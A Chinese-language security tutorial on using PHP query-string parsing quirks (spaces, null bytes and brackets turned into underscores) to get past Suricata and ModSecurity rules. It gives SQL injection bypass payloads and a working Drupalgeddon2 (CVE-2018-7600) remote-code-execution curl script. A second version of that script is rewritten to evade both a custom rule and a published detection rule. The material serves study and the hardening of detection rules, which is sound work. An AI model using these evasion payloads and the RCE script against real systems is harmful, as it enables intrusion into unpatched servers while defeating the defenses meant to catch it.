利用PHP的字符串解析特性Bypass

前言

我們知道php將查詢字符串（在URL或正文中）轉換為內部$_GET或的關聯數組$_POST。例如：/?foo=bar變成Array([foo] => “bar”)。

值得注意的是，查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替。

例如，/?%20news[id%00=42會轉換為Array([news_id] => 42)。

如果一個IDS/IPS或WAF中有一條規則是當news_id參數的值是一個非數字的值則攔截，那么我們就可以用以下語句繞過：

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP語句的參數%20news[id%00的值將存儲到$_GET["news_id"]中。

HP需要將所有參數轉換為有效的變量名，因此在解析查詢字符串時，它會做兩件事：

1.刪除空白符

2.將某些字符轉換為下劃線（包括空格）

例如：

User inputDecoded PHPvariable name%20foo_bar%00foo_barfoo_barfoo%20bar%00foo barfoo_barfoo%5bbarfoo[barfoo_bar

通過以下這個示例，你可以更直觀的看到parser_str函數如何處理字符串：

<?php  foreach(    [      "{chr}foo_bar",      "foo{chr}bar",      "foo_bar{chr}"    ] as $k => $arg) {      for($i=0;$i<=255;$i++) {        echo "33[999D33[Kr";        echo "[".$arg."] check ".bin2hex(chr($i))."";        parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);        /* yes... I've added a sleep time on each loop just for        the scenic effect like that movie with unrealistic        brute-force where the password are obtained        one byte at a time (∩｀-´)⊃━☆?.*???        */        usleep(5000);        if(isset($o["foo_bar"])) {          echo"33[999D33[Kr";          echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")n";        }      }      echo"33[999D33[Kr";      echo"n";  }

parse_str函數通常被自動應用于get、post請求和cookie中。

如果你的Web服務器接受帶有特殊字符的參數名，那么也會發生類似的情況。

如上代碼所示，我進行了多次循環，枚舉了參數名三個位置的0到255之間的所有字符，看看解析函數到底是如何處理這些特殊字符的。

結果如下：

1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

在上述方案中，foo%20bar和foo+bar等效，均解析為foo bar。

Surica

也許你也聽過這款軟件，Suricata是一個“開源、成熟、快速、強大的網絡威脅檢測引擎”，它的引擎能夠進行實時入侵檢測（IDS）、入侵防御系統（IPS）、網絡安全監控（NSM）和離線流量包處理。

在Suricata中你可以自定義一個HTTP流量的檢測規則。假設你有這樣一個規則：

alert http any any -> $HOME_NET any (    msg: "Block SQLi"; flow:established,to_server;    content: "POST"; http_method;    pcre: "/news_id=[^0-9]+/Pi";    sid:1234567;)

簡單來說，上述規則會檢查news_id的值是否是數字。那么根據上述知識，我們可以很容易的繞過防御，如下所示：

/?news[id=1%22+AND+1=1--'/?news%5bid=1%22+AND+1=1--'/?news_id%00=1%22+AND+1=1--'

通過在google和Github上進行搜索，我發現有很多關于Suricata規則可以通過替換下劃線或插入空字符來繞過。

一個真實的例子：https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

上述規則可以通過以下方式繞過：

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

當然，這條規則交換參數位置即可繞過，比如：

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF（ModSecurity）

此外，PHP查詢字符串的解析特性也可用以繞過WAF。

想象一下,它的規則類似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"，這顯然可以通過相同的手段繞過。

幸運的是，在ModSecurity中，可以通過正則表達式指定查詢字符串中的參數。

比如：

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

以上規則將攔截諸如以下的請求：

??/?news[id=1%22+AND+1=1--'??/?news%5bid=1%22+AND+1=1--'??/?news_id%00=1%22+AND+1=1--'

Poc //GTFO

讓我們用Suricata和Drupal CMS創建一個以利用CVE-2018-7600（Drupalgeddon2遠程執行代碼）的簡單PoC。

為了簡單起見，我將在兩個Docker容器上運行Suricata和Drupal，并嘗試繞過Suricata攻擊Drupal。

我將使用兩條Suricata防御規則：

1.一條自定義規則攔截form_id=user_register_form

2.另一條是關于CVE-2018-7600的通用規則Suricata官方安裝流程點擊[這里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA)。

對于Drupal，我運行了一個Vulhub容器，你可以在這里下載：

首先，讓我們嘗試利用CVE-2018-7600。一個利用curl命令的小型bash腳本，比如：

#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrApper_format=drupal_ajax"QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如你所見，上面的腳本將執行命令id：

現在，讓我們嘗試往Suricata導入以下兩條規則：我編寫了第一個規則，它只是嘗試form_id=user_register_form在請求體內進行匹配;

Positive Technology /user/register在請求URL和#post_render請求正文中寫了第二個匹配項。

我的規則：

alert http any any -> $HOME_NET any (  msg: "Possible Drupalgeddon2 attack";  flow: established, to_server;  content: "/user/register"; http_uri;  content: "POST"; http_method;  pcre: "/form_id=user_register_form/Pi";  sid: 10002807;  rev: 1;)

通用規則：

alert http any any -> $HOME_NET any (  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)";   flow: established, to_server;   content: "/user/register"; http_uri;   content: "POST"; http_method;   content: "drupal"; http_client_body;   pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi";   reference: cve, 2018-7600;   reference: url, research.checkpoint.com/uncovering-drupalgeddon-2;   classtype: attempted-admin;   reference: url, github.com/ptresearch/AttackDetection;   metadata: Open Ptsecurity.com ruleset;   sid: 10002808;   rev: 2; )

在重啟Suricata后，我的攻擊被成功報警：

可以看到，我們得到了兩條日志：

1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

Bypass!

這兩條規則其實都很容易繞過。首先，對于敏感字段form_id=user_register_form，我們可將其替換為如下內容：

form%5bid=user_register_form

如上圖所見，現在只有通用規則的警報。

分析通用規則的正則表達式，我們可以看到它對#和%23敏感，但不涉及下劃線的編碼。

因此，我們可以使用post%5frender代替post_render來繞過：

最后得出可繞過兩個規則的PoC：

#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

作者：周大濤